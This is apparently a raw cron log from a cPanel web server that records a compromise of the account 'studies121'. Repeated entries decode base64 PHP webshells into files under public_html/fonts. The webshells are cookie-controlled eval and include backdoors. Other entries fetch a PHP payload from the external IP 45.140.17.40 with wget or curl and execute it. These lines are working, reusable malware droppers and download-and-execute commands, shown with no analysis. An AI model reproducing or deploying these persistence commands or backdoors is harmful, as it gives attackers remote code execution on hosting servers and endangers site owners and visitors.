Sep  2 00:56:01 ip-184-168-122-23 CROND[17738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:57:01 ip-184-168-122-23 CROND[17906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:57:01 ip-184-168-122-23 CROND[17907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:57:01 ip-184-168-122-23 CROND[17909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:57:01 ip-184-168-122-23 CROND[17908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:58:01 ip-184-168-122-23 CROND[18035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:58:01 ip-184-168-122-23 CROND[18036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:58:01 ip-184-168-122-23 CROND[18037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:58:01 ip-184-168-122-23 CROND[18038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:58:01 ip-184-168-122-23 CROND[18039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:59:01 ip-184-168-122-23 CROND[18119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:59:01 ip-184-168-122-23 CROND[18120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:59:01 ip-184-168-122-23 CROND[18124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:59:01 ip-184-168-122-23 CROND[18123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:00:01 ip-184-168-122-23 CROND[18206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:00:01 ip-184-168-122-23 CROND[18209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:00:01 ip-184-168-122-23 CROND[18210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:00:01 ip-184-168-122-23 CROND[18215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:00:01 ip-184-168-122-23 CROND[18216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:00:01 ip-184-168-122-23 CROND[18214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:00:01 ip-184-168-122-23 CROND[18213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:00:01 ip-184-168-122-23 CROND[18219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:01:01 ip-184-168-122-23 CROND[18314]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18314]: starting 0anacron
Sep  2 01:01:01 ip-184-168-122-23 CROND[18319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:01:01 ip-184-168-122-23 CROND[18318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:01:01 ip-184-168-122-23 CROND[18322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:01:01 ip-184-168-122-23 CROND[18326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:01:01 ip-184-168-122-23 CROND[18323]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:01:01 ip-184-168-122-23 anacron[18334]: Anacron started on 2026-09-02
Sep  2 01:01:01 ip-184-168-122-23 anacron[18334]: Normal exit (0 jobs run)
Sep  2 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18336]: finished 0anacron
Sep  2 01:02:01 ip-184-168-122-23 CROND[18500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:02:01 ip-184-168-122-23 CROND[18501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:02:01 ip-184-168-122-23 CROND[18504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:02:01 ip-184-168-122-23 CROND[18505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:02:01 ip-184-168-122-23 CROND[18506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:03:01 ip-184-168-122-23 CROND[18593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:03:01 ip-184-168-122-23 CROND[18596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:03:01 ip-184-168-122-23 CROND[18595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:03:01 ip-184-168-122-23 CROND[18597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:04:01 ip-184-168-122-23 CROND[18671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:04:01 ip-184-168-122-23 CROND[18672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:04:01 ip-184-168-122-23 CROND[18673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:04:01 ip-184-168-122-23 CROND[18674]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:04:01 ip-184-168-122-23 CROND[18677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:05:01 ip-184-168-122-23 CROND[18761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:05:01 ip-184-168-122-23 CROND[18763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:05:01 ip-184-168-122-23 CROND[18765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:05:01 ip-184-168-122-23 CROND[18766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:05:01 ip-184-168-122-23 CROND[18764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:05:01 ip-184-168-122-23 CROND[18767]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:05:01 ip-184-168-122-23 CROND[18768]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 01:06:01 ip-184-168-122-23 CROND[18856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:06:01 ip-184-168-122-23 CROND[18858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:06:01 ip-184-168-122-23 CROND[18859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:06:01 ip-184-168-122-23 CROND[18860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:06:01 ip-184-168-122-23 CROND[18862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:07:01 ip-184-168-122-23 CROND[18938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:07:01 ip-184-168-122-23 CROND[18941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:07:01 ip-184-168-122-23 CROND[18942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:07:01 ip-184-168-122-23 CROND[18940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:08:01 ip-184-168-122-23 CROND[19100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:08:01 ip-184-168-122-23 CROND[19103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:08:01 ip-184-168-122-23 CROND[19102]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:08:01 ip-184-168-122-23 CROND[19104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
